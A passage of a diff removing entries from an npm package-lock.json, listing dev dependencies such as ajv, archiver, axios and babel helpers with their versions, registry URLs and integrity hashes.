- "dev": true - } - } - }, - "ajv": { - "version": "5.5.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", - "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", - "dev": true, - "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" - } - }, - "ajv-errors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz", - "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==", - "dev": true, - "requires": {} - }, - "ajv-keywords": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-2.1.1.tgz", - "integrity": "sha1-YXmX/F9gV2iUxDX5QNgZ4TW4B2I=", - "dev": true, - "requires": {} - }, - "align-text": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", - "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", - "dev": true, - "requires": { - "kind-of": "^3.0.2", - "longest": "^1.0.1", - "repeat-string": "^1.5.2" - } - }, - "allure-js-commons": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/allure-js-commons/-/allure-js-commons-1.3.2.tgz", - "integrity": "sha512-FTmoqP36ZjHFT4iLdYamyCFhyj1jqD6BIdiZ5pBlyafDJrFRV76XIXNxwRqbHpSw40o1vHzYi4vGpmREnhnHVw==", - "dev": true, - "requires": { - "file-type": "^7.7.1", - "fs-extra": "^6.0.1", - "js2xmlparser": "^3.0.0", - "mime": "^2.3.1", - "object-assign": "^4.1.1", - "uuid": "^3.0.0" - }, - "dependencies": { - "fs-extra": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-6.0.1.tgz", - "integrity": "sha512-GnyIkKhhzXZUWFCaJzvyDLEEgDkPfb4/TPvJCJVuS8MWZgoSsErf++QpiAlDnKFcqhRlm+tIOcencCjyJE6ZCA==", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - } - }, - "mime": { - "version": "2.4.4", - "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.4.tgz", - "integrity": "sha512-LRxmNwziLPT828z+4YkNzloCFC2YM4wrB99k+AV5ZbEyfGNWfG8SO1FUXLmLDBSo89NrJZ4DIWeLjy1CHGhMGA==", - "dev": true - } - } - }, - "alphanum-sort": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/alphanum-sort/-/alphanum-sort-1.0.2.tgz", - "integrity": "sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=", - "dev": true - }, - "amdefine": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", - "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", - "dev": true - }, - "ansi-escapes": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.1.0.tgz", - "integrity": "sha512-UgAb8H9D41AQnu/PbWlCofQVcnV4Gs2bBJi9eZPxfU/hgglFh3SMDMENRIqdr7H6XFnXdoknctFByVsCOotTVw==", - "dev": true - }, - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=" - }, - "ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" - }, - "anymatch": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-1.3.0.tgz", - "integrity": "sha1-o+Uvo5FoyCX/V7AkgSbOWo/5VQc=", - "dev": true, - "requires": { - "arrify": "^1.0.0", - "micromatch": "^2.1.5" - } - }, - "aproba": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "dev": true - }, - "archiver": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/archiver/-/archiver-3.0.3.tgz", - "integrity": "sha512-d0W7NUyXoLklozHHfvWnHoHS3dvQk8eB22pv5tBwcu1jEO5eZY8W+gHytkAaJ0R8fU2TnNThrWYxjvFlKvRxpw==", - "dev": true, - "requires": { - "archiver-utils": "^2.1.0", - "async": "^2.6.3", - "buffer-crc32": "^0.2.1", - "glob": "^7.1.4", - "readable-stream": "^3.4.0", - "tar-stream": "^2.1.0", - "zip-stream": "^2.1.0" - }, - "dependencies": { - "archiver-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", - "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", - "dev": true, - "requires": { - "glob": "^7.1.4", - "graceful-fs": "^4.2.0", - "lazystream": "^1.0.0", - "lodash.defaults": "^4.2.0", - "lodash.difference": "^4.5.0", - "lodash.flatten": "^4.4.0", - "lodash.isplainobject": "^4.0.6", - "lodash.union": "^4.6.0", - "normalize-path": "^3.0.0", - "readable-stream": "^2.0.0" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - } - } - }, - "async": { - "version": "2.6.3", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", - "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", - "dev": true, - "requires": { - "lodash": "^4.17.14" - } - }, - "bl": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/bl/-/bl-3.0.0.tgz", - "integrity": "sha512-EUAyP5UHU5hxF8BPT0LKW8gjYLhq1DQIcneOX/pL/m2Alo+OYDQAJlHq+yseMP50Os2nHXOSic6Ss3vSQeyf4A==", - "dev": true, - "requires": { - "readable-stream": "^3.0.1" - } - }, - "glob": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", - "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "graceful-fs": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.0.tgz", - "integrity": "sha512-jpSvDPV4Cq/bgtpndIWbI5hmYxhQGHPC4d4cqBPb4DLniCfhJokdXhwhaDuLBGLQdvvRum/UiX6ECVIPvDXqdg==", - "dev": true - }, - "lodash": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", - "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", - "dev": true - }, - "normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true - }, - "process-nextick-args": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true - }, - "readable-stream": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.4.0.tgz", - "integrity": "sha512-jItXPLmrSR8jmTRmRWJXCnGJsfy85mB3Wd/uINMXA65yrnFo0cPClFIUWzo2najVNSl+mx7/4W8ttlLWJe99pQ==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - }, - "tar-stream": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.1.0.tgz", - "integrity": "sha512-+DAn4Nb4+gz6WZigRzKEZl1QuJVOLtAwwF+WUxy1fJ6X63CaGaUAxJRD2KEn1OMfcbCjySTYpNC6WmfQoIEOdw==", - "dev": true, - "requires": { - "bl": "^3.0.0", - "end-of-stream": "^1.4.1", - "fs-constants": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^3.1.1" - } - } - } - }, - "archiver-utils": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-1.3.0.tgz", - "integrity": "sha1-5QtMCccL89aA4y/xt5lOn52JUXQ=", - "dev": true, - "requires": { - "glob": "^7.0.0", - "graceful-fs": "^4.1.0", - "lazystream": "^1.0.0", - "lodash": "^4.8.0", - "normalize-path": "^2.0.0", - "readable-stream": "^2.0.0" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "lazystream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.0.tgz", - "integrity": "sha1-9plf4PggOS9hOWvolGJAe7dxaOQ=", - "dev": true, - "requires": { - "readable-stream": "^2.0.5" - } - }, - "lodash": { - "version": "4.17.5", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", - "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==", - "dev": true - } - } - }, - "are-we-there-yet": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.4.tgz", - "integrity": "sha1-u13KOCu5TwXhUZQ3PRb9O6HKEQ0=", - "dev": true, - "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" - } - }, - "argparse": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", - "dev": true, - "requires": { - "sprintf-js": "~1.0.2" - } - }, - "arr-diff": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-2.0.0.tgz", - "integrity": "sha1-jzuCf5Vai9ZpaX5KQlasPOrjVs8=", - "dev": true, - "requires": { - "arr-flatten": "^1.0.1" - } - }, - "arr-flatten": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.0.3.tgz", - "integrity": "sha1-onTthawIhJtr14R8RYB0XcUa37E=", - "dev": true - }, - "arr-union": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", - "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", - "dev": true - }, - "array-filter": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/array-filter/-/array-filter-0.0.1.tgz", - "integrity": "sha1-fajPLiZijtcygDWB/SH2fKzS7uw=", - "dev": true - }, - "array-find-index": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", - "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=", - "dev": true - }, - "array-map": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/array-map/-/array-map-0.0.0.tgz", - "integrity": "sha1-iKK6tz0c97zVwbEYoAP2b2ZfpmI=", - "dev": true - }, - "array-reduce": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/array-reduce/-/array-reduce-0.0.0.tgz", - "integrity": "sha1-FziZ0//Rx9k4PkR5Ul2+J4yrXys=", - "dev": true - }, - "array-union": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz", - "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=", - "dev": true, - "requires": { - "array-uniq": "^1.0.1" - } - }, - "array-uniq": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz", - "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=", - "dev": true - }, - "array-unique": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.2.1.tgz", - "integrity": "sha1-odl8yvy8JiXMcPrc6zalDFiwGlM=", - "dev": true - }, - "arrify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", - "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", - "dev": true - }, - "asap": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", - "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=", - "dev": true - }, - "asn1": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", - "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", - "dev": true - }, - "asn1.js": { - "version": "4.9.1", - "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.9.1.tgz", - "integrity": "sha1-SLokC0WpKA6UdImQull9IWYX/UA=", - "dev": true, - "requires": { - "bn.js": "^4.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" - } - }, - "assert": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/assert/-/assert-1.4.1.tgz", - "integrity": "sha1-mZEtWRg2tab1s0XA8H7vwI/GXZE=", - "dev": true, - "requires": { - "util": "0.10.3" - } - }, - "assert-never": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/assert-never/-/assert-never-1.2.1.tgz", - "integrity": "sha512-TaTivMB6pYI1kXwrFlEhLeGfOqoDNdTxjCdwRfFFkEA30Eu+k48W34nlok2EYWJfFFzqaEmichdNM7th6M5HNw==", - "dev": true - }, - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - }, - "assign-symbols": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", - "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", - "dev": true - }, - "async": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", - "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=", - "dev": true - }, - "async-each": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.1.tgz", - "integrity": "sha1-GdOGodntxufByF04iu28xW0zYC0=", - "dev": true - }, - "async-foreach": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", - "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=", - "dev": true - }, - "asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", - "dev": true - }, - "atob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.1.tgz", - "integrity": "sha1-ri1acpR38onWDdf5amMUoi3Wwio=", - "dev": true - }, - "autoprefixer": { - "version": "6.7.7", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-6.7.7.tgz", - "integrity": "sha1-Hb0cg1ZY41zj+ZhAmdsAWFx4IBQ=", - "dev": true, - "requires": { - "browserslist": "^1.7.6", - "caniuse-db": "^1.0.30000634", - "normalize-range": "^0.1.2", - "num2fraction": "^1.2.2", - "postcss": "^5.2.16", - "postcss-value-parser": "^3.2.3" - }, - "dependencies": { - "browserslist": { - "version": "1.7.7", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", - "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", - "dev": true, - "requires": { - "caniuse-db": "^1.0.30000639", - "electron-to-chromium": "^1.2.7" - } - } - } - }, - "aws-sign2": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", - "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", - "dev": true - }, - "aws4": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.6.0.tgz", - "integrity": "sha1-g+9cqGCysy5KDe7e6MdxudtXRx4=", - "dev": true, - "optional": true - }, - "axios": { - "version": "0.19.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-0.19.0.tgz", - "integrity": "sha512-1uvKqKQta3KBxIz14F2v06AEHZ/dIoeKfbTRkK1E5oqjDnuEerLmYTgJB5AiQZHJcljpg1TuRzdjDR06qNk0DQ==", - "dev": true, - "requires": { - "follow-redirects": "1.5.10", - "is-buffer": "^2.0.2" - }, - "dependencies": { - "is-buffer": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.3.tgz", - "integrity": "sha512-U15Q7MXTuZlrbymiz95PJpZxu8IlipAp4dtS3wOdgPXx3mqBnslrWU14kxfHB+Py/+2PVKSr37dMAgM2A4uArw==", - "dev": true - } - } - }, - "babel-cli": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-cli/-/babel-cli-6.26.0.tgz", - "integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=", - "dev": true, - "requires": { - "babel-core": "^6.26.0", - "babel-polyfill": "^6.26.0", - "babel-register": "^6.26.0", - "babel-runtime": "^6.26.0", - "chokidar": "^1.6.1", - "commander": "^2.11.0", - "convert-source-map": "^1.5.0", - "fs-readdir-recursive": "^1.0.0", - "glob": "^7.1.2", - "lodash": "^4.17.4", - "output-file-sync": "^1.1.2", - "path-is-absolute": "^1.0.1", - "slash": "^1.0.0", - "source-map": "^0.5.6", - "v8flags": "^2.1.1" - }, - "dependencies": { - "convert-source-map": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", - "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", - "dev": true - }, - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - } - } - }, - "babel-code-frame": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", - "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", - "requires": { - "chalk": "^1.1.3", - "esutils": "^2.0.2", - "js-tokens": "^3.0.2" - } - }, - "babel-core": { - "version": "6.26.3", - "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-6.26.3.tgz", - "integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==", - "dev": true, - "requires": { - "babel-code-frame": "^6.26.0", - "babel-generator": "^6.26.0", - "babel-helpers": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-register": "^6.26.0", - "babel-runtime": "^6.26.0", - "babel-template": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "convert-source-map": "^1.5.1", - "debug": "^2.6.9", - "json5": "^0.5.1", - "lodash": "^4.17.4", - "minimatch": "^3.0.4", - "path-is-absolute": "^1.0.1", - "private": "^0.1.8", - "slash": "^1.0.0", - "source-map": "^0.5.7" - }, - "dependencies": { - "convert-source-map": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", - "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", - "dev": true - }, - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true - } - } - }, - "babel-generator": { - "version": "6.26.1", - "resolved": "https://registry.npmjs.org/babel-generator/-/babel-generator-6.26.1.tgz", - "integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==", - "dev": true, - "requires": { - "babel-messages": "^6.23.0", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "detect-indent": "^4.0.0", - "jsesc": "^1.3.0", - "lodash": "^4.17.4", - "source-map": "^0.5.7", - "trim-right": "^1.0.1" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true - } - } - }, - "babel-helper-bindify-decorators": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-bindify-decorators/-/babel-helper-bindify-decorators-6.24.1.tgz", - "integrity": "sha1-FMGeXxQte0fxmlJDHlKxzLxAozA=", - "requires": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-helper-builder-binary-assignment-operator-visitor": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz", - "integrity": "sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=", - "requires": { - "babel-helper-explode-assignable-expression": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-helper-builder-react-jsx": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-helper-builder-react-jsx/-/babel-helper-builder-react-jsx-6.26.0.tgz", - "integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=", - "dev": true, - "requires": { - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "esutils": "^2.0.2" - } - }, - "babel-helper-call-delegate": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz", - "integrity": "sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=", - "dev": true, - "requires": { - "babel-helper-hoist-variables": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-helper-define-map": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-helper-define-map/-/babel-helper-define-map-6.26.0.tgz", - "integrity": "sha1-pfVtq0GiX5fstJjH66ypgZ+Vvl8=", - "dev": true, - "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "lodash": "^4.17.4" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - } - } - }, - "babel-helper-explode-assignable-expression": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz", - "integrity": "sha1-8luCz33BBDPFX3BZLVdGQArCLKo=", - "requires": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-helper-explode-class": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-explode-class/-/babel-helper-explode-class-6.24.1.tgz", - "integrity": "sha1-fcKjkQ3uAHBW4eMdZAztPVTqqes=", - "requires": { - "babel-helper-bindify-decorators": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-helper-function-name": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz", - "integrity": "sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=", - "requires": { - "babel-helper-get-function-arity": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-helper-get-function-arity": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz", - "integrity": "sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=", - "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-helper-hoist-variables": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz", - "integrity": "sha1-HssnaJydJVE+rbyZFKc/VAi+enY=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-helper-optimise-call-expression": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz", - "integrity": "sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-helper-regex": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-helper-regex/-/babel-helper-regex-6.26.0.tgz", - "integrity": "sha1-MlxZ+QL4LyS3T6zu0DY5VPZJXnI=", - "dev": true, - "requires": { - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "lodash": "^4.17.4" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - } - } - }, - 